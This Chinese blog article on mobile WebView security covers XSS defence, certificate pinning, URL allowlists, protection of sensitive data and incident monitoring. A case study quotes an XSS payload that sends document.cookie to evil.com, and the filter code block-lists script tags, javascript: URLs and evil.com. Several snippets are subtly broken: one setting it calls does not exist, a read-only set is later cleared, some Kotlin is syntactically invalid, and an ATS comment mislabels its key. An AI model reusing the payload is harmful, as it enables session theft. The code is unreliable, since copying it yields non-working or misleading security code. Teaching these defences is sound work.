在移动端开发中,WebView承载着越来越多的业务场景------从简单的H5页面展示到复杂的Hybrid架构,WebView早已成为App与Web世界沟通的桥梁。然而,便利的另一面是安全风险的放大。一旦WebView被攻破,攻击者可以获取用户敏感信息、劫持会话、甚至在App中执行任意代码。
本文是WebView实战系列的第10篇,我们将从真实踩坑案例出发,系统梳理WebView安全防护的关键要点,包括XSS防御、HTTPS证书校验、URL白名单、敏感信息保护等核心话题。
一、XSS攻击:WebView中最容易被忽视的威胁
1.1 为什么WebView更容易遭受XSS攻击
XSS(Cross-Site Scripting)本不是什么新鲜词汇,但在WebView场景下,攻击面被显著放大了。传统浏览器环境中,XSS攻击的后果通常局限在Web页面本身。但在WebView内嵌场景中,H5页面可以调用Native能力(通过JSBridge),这意味着XSS攻击的后果可能延伸到整个App。
一个典型的攻击链路是这样的:
用户打开恶意网页 → 网页中存在XSS漏洞 → 攻击者注入恶意JS → 通过JSBridge调用Native能力 → 获取用户Cookie/Token/位置等敏感信息
1.2 场景一:URL参数注入导致JSBridge被滥用
踩坑经历 :我们曾接入一个第三方活动页面,页面URL中带有渠道标识参数?channel=xxx。某次运营活动中,攻击者通过短链接工具篡改了渠道参数值为<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>。虽然页面本身没有存储敏感Cookie,但该渠道的JSBridge暴露了用户手机号查询接口,最终导致用户手机号泄露。
问题根源 :WebView加载URL时,没有对URL中的参数进行安全校验;H5页面在渲染渠道信息时直接使用innerHTML而非textContent。
防御方案:
Android端 - URL预校验:
kotlin
class SecureWebViewClient : WebViewClient() {
private val dangerousPatterns = listOf(
Pattern.compile("<script[^>]*>", Pattern.CASE_INSENSITIVE),
Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE),
Pattern.compile("data:", Pattern.CASE_INSENSITIVE),
Pattern.compile("vbscript:", Pattern.CASE_INSENSITIVE)
)
override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean {
val url = request?.url?.toString() ?: return false
// 检查URL中是否包含可疑的脚本注入
for (pattern in dangerousPatterns) {
if (pattern.matcher(url).find()) {
Log.w("Security", "Blocked dangerous URL: $url")
return true // 阻止加载
}
}
// URL白名单校验(后面会详述)
if (!UrlValidator.isAllowed(url)) {
return true
}
return super.shouldOverrideUrlLoading(view, request)
}
}
iOS端 - URL过滤:
swift
class SecureWKNavigationDelegate: NSObject, WKNavigationDelegate {
private let dangerousSchemes = ["javascript", "data", "vbscript"]
func webView(_ webView: WKWebView,
decidePolicyFor navigationAction: WKNavigationAction,
decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) {
guard let url = navigationAction.request.url else {
decisionHandler(.cancel)
return
}
// 阻止危险scheme
if let scheme = url.scheme?.lowercased(),
dangerousSchemes.contains(scheme) {
print("⚠️ Blocked dangerous scheme: \(scheme)")
decisionHandler(.cancel)
return
}
// URL白名单校验
if !UrlValidator.shared.isAllowed(url: url) {
decisionHandler(.cancel)
return
}
decisionHandler(.allow)
}
}
前端侧 - 输出转义:
javascript
// 危险写法
element.innerHTML = `渠道: ${channel}`;
// 安全写法
element.textContent = `渠道: ${channel}`;
// 如果必须使用innerHTML,必须做HTML转义
function escapeHtml(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
element.innerHTML = `渠道: ${escapeHtml(channel)}`;
1.3 场景二:WebView console API被劫持
踩坑经历 :某次安全扫描发现,攻击者可以通过恶意H5页面重写console对象的方法,劫持所有日志输出。在我们的App中,调试模式下打印了大量用户行为日志,虽然上线时关闭了console输出,但Android 4.4以下系统WebView的console劫持在某些场景下仍然生效。
防御方案:
javascript
// 在页面加载早期锁定console对象
(function() {
if (!window._consoleSecure) {
const originalConsole = { ...console };
// 生产环境完全禁用console
if (window.APP_ENV === 'production') {
Object.keys(console).forEach(key => {
console[key] = function() {};
});
} else {
// 开发环境只禁用危险方法
console.log = originalConsole.log;
console.warn = originalConsole.warn;
console.error = originalConsole.error;
// 禁止重定向console输出
console.info = originalConsole.info;
}
}
})();
二、HTTPS证书校验:防止中间人攻击的生死线
2.1 中间人攻击在WebView中的危害
中间人攻击(MITM)是公共WiFi环境下最常见的安全威胁。攻击者可以架设恶意热点,拦截并篡改WebView的网络请求。在没有证书校验的情况下,攻击者甚至可以伪造HTTPS站点,拿到明文数据。
我们曾遇到一个典型案例:用户反馈在咖啡厅连WiFi时,App内嵌的登录页面显示正常,但登录后收到陌生推送。后来定位发现是咖啡厅的路由器做了流量劫持,将登录请求转发到了仿冒服务器。
2.2 Android证书校验方案
方案一:CertificatePinner(推荐用于API请求)
kotlin
class SecureApiClient : OkHttpClient.Builder() {
private val pinnedCertificates = listOf(
// SHA-256指纹,可通过 openssl s_client -connect api.example.com:443 | openssl x509 -pubkey | openssl rsa -pubin -outform d | openssl dgst -sha256 -binary | base64 获取
"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB="
)
init {
val certificatePinner = CertificatePinner.Builder()
.add("api.example.com", *pinnedCertificates.toTypedArray())
.build()
this.certificatePinner(certificatePinner)
}
}
方案二:WebView自定义TrustManager(谨慎使用)
kotlin
object WebViewTrustManager {
// 根证书(应用内置)
private val trustedCaSet = setOf(
// 导入正式CA证书的公钥指纹
"sha256/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX="
)
fun createTrustManager(): X509TrustManager {
return object : X509TrustManager {
override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {
// 客户端证书校验,通常不使用
}
override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {
// 必须校验服务器证书
if (chain.isEmpty()) {
throw SecurityException("Empty certificate chain")
}
val certificate = chain[0]
val publicKey = certificate.publicKey
// 计算证书公钥的SHA-256指纹
val md = MessageDigest.getInstance("SHA-256")
md.update(publicKey.encoded)
val fingerprint = "sha256/${Base64.getEncoder().encodeToString(md.digest())}"
if (!trustedCaSet.contains(fingerprint)) {
// 检查是否是系统信任的CA签发的
val trusted = try {
val systemTrustManager = TrustManagerFactory.getInstance(
TrustManagerFactory.getDefaultAlgorithm()
)
systemTrustManager.init(null as KeyStore?)
val x509Tm = systemTrustManager.trustManagers[0] as X509TrustManager
x509Tm.checkServerTrusted(chain, authType)
true
} catch (e: Exception) {
false
}
if (!trusted) {
throw SecurityException("Untrusted certificate: $fingerprint")
}
}
}
override fun getAcceptedIssuers(): Array<X509Certificate> = arrayOf()
}
}
}
// 使用
val sslContext = SSLContext.getInstance("TLSv1.2")
sslContext.init(null, arrayOf(WebViewTrustManager.createTrustManager()), SecureRandom())
val webView = WebView(context)
webView.settings.apply {
// 关键配置:禁止使用系统默认的信任管理
// 注意:这个配置在Android 24+会导致很多HTTPS站点无法访问
// 建议只对特定域名强制校验,其他走系统默认
}
血的教训:上述方案在实际项目中使用时要格外小心。Android系统的证书信任链很复杂,内置了大量根CA。如果完全自定义TrustManager,很容易导致正常网站无法访问。建议做法是:
- 对涉及敏感操作的API域名启用证书固定
- 对普通页面仍然使用系统默认校验
- 提供用户友好的证书错误提示,而不是直接崩溃
2.3 iOS证书校验 - ATS配置
iOS的App Transport Security(ATS)提供了系统级的HTTPS强制校验能力:
xml
<!-- Info.plist -->
<key>NSAppTransportSecurity</key>
<dict>
<!-- 完全禁用ATS(不推荐) -->
<key>NSAllowsArbitraryLoads</key>
<false/>
<!-- 细粒度配置 -->
<key>NSExceptionDomains</key>
<dict>
<key>example.com</key>
<dict>
<!-- 该域名是否可以使用HTTP -->
<key>NSExceptionAllowsInsecureHTTPLoads</key>
<false/>
<!-- 是否允许无效证书 -->
<key>NSExceptionRequiresForwardSecrecy</key>
<true/>
<!-- TLS最低版本 -->
<key>NSMinimumTLSVersion</key>
<string>TLSv1.2</string>
</dict>
</dict>
</dict>
注意:2020年后App Store审核要求所有新上架App必须启用ATS。对于必须加载的HTTP资源,建议:
swift
// 尽量使用HTTPS,如果必须使用HTTP,做好身份验证
if url.scheme == "http" {
// 评估风险:如果是内网IP或白名单域名,可以允许
// 如果是公网HTTP,必须有额外的安全措施
}
三、URL白名单机制:守住WebView的入口
3.1 为什么需要URL白名单
很多App的JSBridge会暴露Native能力给H5页面,如支付、定位、文件访问等。如果没有URL白名单限制,恶意网页可以通过任意URL调用这些能力,后果不堪设想。
3.2 白名单设计方案
推荐方案:基于域名的精确匹配
kotlin
object UrlValidator {
// 白名单域名配置(从服务端下发或本地配置)
private val allowedDomains = setOf(
"app.example.com",
"h5.example.com",
"activity.example.com",
// 支持通配符子域名
".example.com" // 以点开头表示匹配所有子域名
)
// 允许的URL scheme
private val allowedSchemes = setOf("https")
// 黑名单(优先级高于白名单)
private val blockedPatterns = listOf(
Regex(".*\\.evil\\.com.*"),
Regex(".*phishing.*"),
Regex(".*\\.tk$") // 常见免费域名后缀
)
fun isAllowed(url: String): Boolean {
return try {
val parsed = URL(url)
// 检查scheme
if (!allowedSchemes.contains(parsed.protocol)) {
return false
}
// 检查黑名单
if (blockedPatterns.any { it.matches(url) }) {
Log.w("Security", "URL matched blocklist: $url")
return false
}
// 检查白名单
val host = parsed.host ?: return false
val domain = if (host.startsWith("www.")) host.substring(4) else host
allowedDomains.any { allowed ->
when {
allowed.startsWith(".") -> {
// 通配符匹配
domain.endsWith(allowed) || domain == allowed.substring(1)
}
else -> {
// 精确匹配
domain == allowed || domain.endsWith(".${allowed}")
}
}
}
} catch (e: Exception) {
Log.e("Security", "URL parse error: $url", e)
false
}
}
// 增量更新白名单(从服务端获取最新配置)
fun updateFromServer(config: List<String>) {
allowedDomains.clear()
allowedDomains.addAll(config)
}
}
3.3 深层链接的安全校验
kotlin
// 处理App Link和Universal Link
override fun handleDeepLink(intent: Intent): Boolean {
val data = intent.data ?: return false
// 必须校验host
if (!UrlValidator.isAllowed(data.toString())) {
Log.w("Security", "Blocked deep link from untrusted domain: $data")
return false
}
// 校验path(防止通过path注入攻击)
val path = data.path ?: "/"
val allowedPaths = listOf(
"^/product/\\d+$", // 商品详情
"^/order/\\d+$", // 订单详情
"^/user/profile$" // 用户中心
)
val pathAllowed = allowedPaths.any {
Regex(it).matches(path)
}
if (!pathAllowed) {
Log.w("Security", "Deep link path not allowed: $path")
return false
}
// 清理URL参数(防止XSS)
val cleanUri = cleanUriParams(data)
// 业务处理...
return true
}
private fun cleanUriParams(uri: Uri): Uri {
val builder = uri.buildUpon()
builder.clearQuery()
uri.queryParameterNames.forEach { name ->
val value = uri.getQueryParameter(name) ?: return@forEach
// 参数值转义
builder.appendQueryParameter(
name,
Uri.encode(Uri.decode(value))
)
}
return builder.build()
}
四、敏感信息防泄露:看不见的风险最可怕
4.1 密码框安全
踩坑经历:某次安全评估发现,我们App内的密码输入框存在截屏风险。用户开启系统截屏功能后,密码可能被应用外截取。更严重的是,某些第三方键盘会缓存用户输入。
防御方案:
kotlin
// Android - 使用SecureEditText
class SecureEditText(context: Context, attrs: AttributeSet?) : AppCompatEditText(context, attrs) {
init {
// 禁用系统截屏
if (context is Activity) {
context.window.setFlags(
WindowManager.LayoutParams.FLAG_SECURE,
WindowManager.LayoutParams.FLAG_SECURE
)
}
// 配置输入类型
inputType = InputType.TYPE_CLASS_TEXT or
InputType.TYPE_TEXT_VARIATION_PASSWORD or
InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS
// 禁用剪贴板
setCustomSelectionActionModeCallback(object : ActionMode.Callback {
override fun onCreateActionMode(mode: ActionMode?, menu: Menu?): Boolean = false
override fun onPrepareActionMode(mode: ActionMode?, menu: Menu?) = false
override fun onActionItemClicked(mode: ActionMode?, item: MenuItem?): Boolean = false
override fun onDestroyActionMode(mode: ActionMode?) {}
})
// 禁用长按菜单
isLongClickable = false
}
override fun onCreateInputConnection(outAttrs: EditorInfo?) {
super.onCreateInputConnection(outAttrs)
outAttrs?.apply {
// 禁用自动补全
inputType = InputType.TYPE_CLASS_TEXT or
InputType.TYPE_TEXT_VARIATION_PASSWORD or
InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS
}
}
}
// WebView中处理密码输入
webView.evaluateJavascript("""
(function() {
document.querySelectorAll('input[type="password"]').forEach(function(input) {
// 禁用浏览器自动填充
input.setAttribute('autocomplete', 'off');
input.setAttribute('autocorrect', 'off');
input.setAttribute('autocapitalize', 'off');
input.setAttribute('spellcheck', 'false');
});
})();
""", null)
iOS SafariViewController密码保护:
swift
// iOS使用SafariServices进行敏感操作
import SafariServices
func openSecurePage(url: URL) {
let config = SFSafariViewController.Configuration()
config.entersReaderIfAvailable = false
config.barCollapsingEnabled = true
let safari = SFSafariViewController(url: url, configuration: config)
safari.preferredControlTintColor = .systemBlue
present(safari, animated: true)
}
4.2 剪贴板风险
kotlin
// Android - 禁用WebView的剪贴板访问
webView.settings.apply {
// Android 11+默认禁用,之前的版本需要显式设置
setAllowAccessFromJavaJSBridge(false) // 这个方法名有误导,实际是控制JS能否访问Native
}
// 前端 - 敏感内容写入剪贴板时自动清除
document.addEventListener('copy', function(e) {
// 5分钟后自动清除剪贴板(如果复制了敏感信息)
setTimeout(() => {
navigator.clipboard.writeText('');
}, 5 * 60 * 1000);
});
4.3 键盘监听与日志脱敏
踩坑经历 :我们曾接到用户投诉,说在App内搜索框输入的内容被第三方输入法"记住"了。虽然这不算严格意义上的安全漏洞,但涉及用户隐私。后来发现是输入法云词库功能,需要在输入框配置autocomplete="off"。
日志脱敏最佳实践:
kotlin
object LogSanitizer {
// 需要脱敏的字段
private val sensitiveFields = setOf(
"password", "token", "secret",
"idCard", "bankCard", "phone", "email",
"Authorization", "Cookie"
)
// 脱敏规则
fun sanitize(key: String, value: String?): String {
if (value == null) return "null"
val lowerKey = key.lowercase()
if (sensitiveFields.any { lowerKey.contains(it) }) {
return "***SENSITIVE***"
}
// 手机号中间4位脱敏
if (lowerKey.contains("phone") || lowerKey.contains("mobile")) {
return if (value.length >= 7) {
"${value.substring(0, 3)}****${value.substring(value.length - 4)}"
} else {
"***"
}
}
return value
}
// WebView日志拦截器
fun createWebViewLogInterceptor(): WebViewClient() {
return object : WebViewClient() {
override fun onPageStarted(view: WebView?, url: String?) {
Log.d("WebView", "Page started: $url")
}
override fun onPageFinished(view: WebView?, url: String?) {
Log.d("WebView", "Page finished: $url")
}
}
}
}
五、其他安全配置:容易被忽略的细节
5.1 危险配置项大盘点
kotlin
webView.settings.apply {
// 🔴 危险:允许文件访问
// 可能导致file://协议下的本地文件被JS读取
allowFileAccess = false // 必须关闭,除非有特殊需求
// 🔴 危险:允许通过file://协议加载其他资源
// file://协议页面可以访问所有本地文件
allowFileAccessFromFileURLs = false // 必须关闭
// 🔴 危险:允许跨域访问
allowUniversalAccessFromFileURLs = false // 必须关闭
// 🟡 注意:开启调试开关仅用于开发
setWebContentsDebuggingEnabled(BuildConfig.DEBUG)
// 🟡 注意:DOM存储可能包含敏感信息
domStorageEnabled = true // 根据业务需求决定
// 🟢 推荐:启用安全模式
// Android 21+,可以防止SSL错误被静默忽略
mixedContentMode = WebSettings.MIXED_CONTENT_NEVER_ALLOW
// 🟢 推荐:启用地理定位权限控制
setGeolocationEnabled(true) // 需要时开启
// 🟢 推荐:禁用恶意插件
pluginState = WebSettings.PluginState.OFF
}
5.2 混合内容处理
javascript
// 前端检测混合内容
window.addEventListener('securityviolation', function(e) {
console.error('Security violation detected:', e.violatedDirective);
// 上报到监控系统
reportSecurityIssue({
type: 'mixed_content',
url: window.location.href,
violated: e.violatedDirective
});
});
// 检测并阻止混合内容请求
(function() {
// 遍历所有资源链接,检查是否有HTTP资源
const mixedResources = [];
['img', 'script', 'link', 'iframe'].forEach(tag => {
document.querySelectorAll(tag).forEach(el => {
const src = el.src || el.href;
if (src && src.startsWith('http:')) {
mixedResources.push({
tag: tag,
src: src
});
}
});
});
if (mixedResources.length > 0) {
console.warn('Mixed content detected:', mixedResources);
// 替换为HTTPS或上报问题
mixedResources.forEach(r => {
const secureUrl = r.src.replace('http:', 'https:');
// 验证HTTPS资源可用后再替换
fetch(secureUrl, { method: 'HEAD' })
.then(() => {
if (r.tag === 'script') {
// 替换script
}
})
.catch(() => {
// HTTPS不可用,记录问题
reportSecurityIssue({
type: 'insecure_resource',
resource: r.src
});
});
});
}
})();
5.3 WebView与Native的安全边界
kotlin
// 暴露给JS的方法必须做权限校验
class AppJSBridge {
@JavascriptInterface
fun callNative(method: String, params: String): String {
// 方法白名单
val allowedMethods = setOf(
"getUserInfo",
"getLocation",
"share",
"pay"
)
if (!allowedMethods.contains(method)) {
return """{"error": "method not allowed"}"""
}
// 参数校验
val parsedParams = try {
JSONObject(params)
} catch (e: Exception) {
return """{"error": "invalid params"}"""
}
// 业务逻辑...
return """{"success": true}"""
}
@JavascriptInterface
fun getDeviceId(): String {
// 敏感方法必须二次验证
if (!hasUserConsent()) {
return ""
}
return DeviceIdManager.getDeviceId()
}
private fun hasUserConsent(): Boolean {
// 检查用户是否已授权
return sharedPreferences.getBoolean("privacy_consent", false)
}
}
// 注册时使用安全的WebView
webView.addJavascriptInterface(AppJSBridge(), "Native")
六、安全监控与应急响应
安全防护不能只靠防御,还需要建立监控和应急机制。及时发现安全异常,才能把损失降到最低。
6.1 WebView安全事件监控
kotlin
class SecurityMonitor private constructor() {
companion object {
val instance = SecurityMonitor()
// 安全事件类型
const val EVENT_XSS_SUSPECTED = "xss_suspected"
const val EVENT_UNTRUSTED_URL = "untrusted_url"
const val EVENT_CERT_ERROR = "cert_error"
const val EVENT_FILE_ACCESS_BLOCKED = "file_access_blocked"
const val EVENT_JSBRIDGE_ABUSE = "jsbridge_abuse"
}
// 事件上报
fun reportEvent(type: String, detail: Map<String, Any>) {
val event = SecurityEvent(
type = type,
timestamp = System.currentTimeMillis(),
url = WebViewContextHolder.currentUrl,
detail = detail
)
// 根据事件等级决定处理方式
when (getEventLevel(type)) {
EventLevel.CRITICAL -> {
// 立即上报,可能需要强制退出WebView
uploadImmediately(event)
notifyAppSecurity(event)
}
EventLevel.HIGH -> {
// 批量上报,降低频率
batchReport(event)
}
EventLevel.MEDIUM, EventLevel.LOW -> {
// 本地记录,定期上报
localLog(event)
}
}
}
// 安全告警弹窗
private fun notifyAppSecurity(event: SecurityEvent) {
if (event.type == EVENT_CERT_ERROR || event.type == EVENT_UNTRUSTED_URL) {
// 弹出安全提示,让用户选择是否继续
showSecurityDialog(event)
}
}
private fun showSecurityDialog(event: SecurityEvent) {
runOnUiThread {
AlertDialog.Builder(context)
.setTitle("安全警告")
.setMessage("检测到潜在安全风险,建议关闭页面。如需继续,请注意保护个人信息。")
.setPositiveButton("关闭页面") { _, _ ->
webView?.stopLoading()
webView?.loadUrl("about:blank")
}
.setNegativeButton("继续访问") { _, _ ->
// 仅在用户明确知情的情况下允许
Log.w("Security", "User chose to continue despite warning")
}
.show()
}
}
}
6.2 定期安全扫描
javascript
// 在WebView中定期执行安全扫描
class WebViewSecurityScanner {
constructor(webView) {
this.webView = webView;
this.scanInterval = 5 * 60 * 1000; // 5分钟一次
}
start() {
this.timer = setInterval(() => this.scan(), this.scanInterval);
}
stop() {
if (this.timer) {
clearInterval(this.timer);
}
}
scan() {
const issues = [];
// 检查是否存在内联JS
const scripts = document.querySelectorAll('script:not([src])');
if (scripts.length > 0) {
issues.push({
type: 'inline_script',
count: scripts.length,
severity: 'medium'
});
}
// 检查是否有eval使用
const hasEval = document.querySelector('script')?.textContent?.includes('eval(');
if (hasEval) {
issues.push({
type: 'dangerous_eval',
severity: 'high'
});
}
// 检查表单action是否HTTPS
const insecureForms = [];
document.querySelectorAll('form').forEach(form => {
const action = form.getAttribute('action');
if (action && action.startsWith('http:')) {
insecureForms.push(action);
}
});
if (insecureForms.length > 0) {
issues.push({
type: 'insecure_form',
actions: insecureForms,
severity: 'high'
});
}
// 检查localStorage/sessionStorage中的敏感数据
['localStorage', 'sessionStorage'].forEach(storageType => {
try {
const storage = window[storageType];
for (let i = 0; i < storage.length; i++) {
const key = storage.key(i);
if (/token|password|secret|key/i.test(key)) {
issues.push({
type: 'sensitive_storage',
storage: storageType,
key: key
});
}
}
} catch (e) {
// 可能被禁用
}
});
if (issues.length > 0) {
this.report(issues);
}
}
report(issues) {
// 上报到安全监控系统
console.warn('WebView security scan found issues:', issues);
// 通过JSBridge上报
if (window.Native && window.Native.reportSecurityIssue) {
window.Native.reportSecurityIssue(JSON.stringify({
url: window.location.href,
issues: issues
}));
}
}
}
6.3 应急响应预案
kotlin
// 重大安全事件响应
object SecurityEmergency {
// 预定义的安全事件响应策略
fun handleEmergency(type: EmergencyType) {
when (type) {
EmergencyType.JSBRIDGE_LEAK -> {
// 立即关闭JSBridge
disableJSBridge()
// 清除已暴露的数据
clearExposedData()
// 强制下线受影响用户
forceLogoutAffectedUsers()
}
EmergencyType.MAN_IN_MIDDLE -> {
// 终止所有WebView网络请求
cancelAllRequests()
// 显示安全警告
showMITMWarning()
// 引导用户修改密码
promptPasswordChange()
}
EmergencyType.XSS_MASS_INJECTION -> {
// 关闭被注入的页面
closeInjectedPages()
// 清除WebView缓存
clearWebViewCache()
// 批量下线并通知用户
notifyUsers()
}
}
}
private fun disableJSBridge() {
webView?.settings?.javaScriptEnabled = false
}
private fun clearExposedData() {
// 清除可能泄露的数据
WebViewDatabase.getInstance(context).clearUsernamePassword()
WebViewDatabase.getInstance(context).clearHttpAuthUsernamePassword()
}
}
七、总结:构建纵深防御体系
WebView安全不是单一措施能解决的,需要构建多层防护体系:
| 层次 | 防护措施 | 优先级 |
|---|---|---|
| 网络层 | HTTPS强制 + 证书固定 | P0 |
| 入口层 | URL白名单 + scheme过滤 | P0 |
| 注入层 | XSS防护 + 输入校验 | P1 |
| 数据层 | 敏感信息脱敏 + 剪贴板控制 | P1 |
| 配置层 | 危险开关关闭 + 最小权限 | P1 |
| 监控层 | 安全日志 + 异常告警 | P2 |
最后提醒几点:
- 安全配置要随着威胁演进持续更新,定期做安全审计
- 不要过度依赖前端校验,Native层必须做二次验证
- 用户体验与安全需要平衡,过于严格的安全策略可能影响正常使用
- 核心原则:用户输入不可信、服务器响应不可信、JSBridge调用必须鉴权
WebView安全的坑还有很多,本文只是抛砖引玉。希望大家在实践中多积累经验,也欢迎在评论区分享踩坑经历。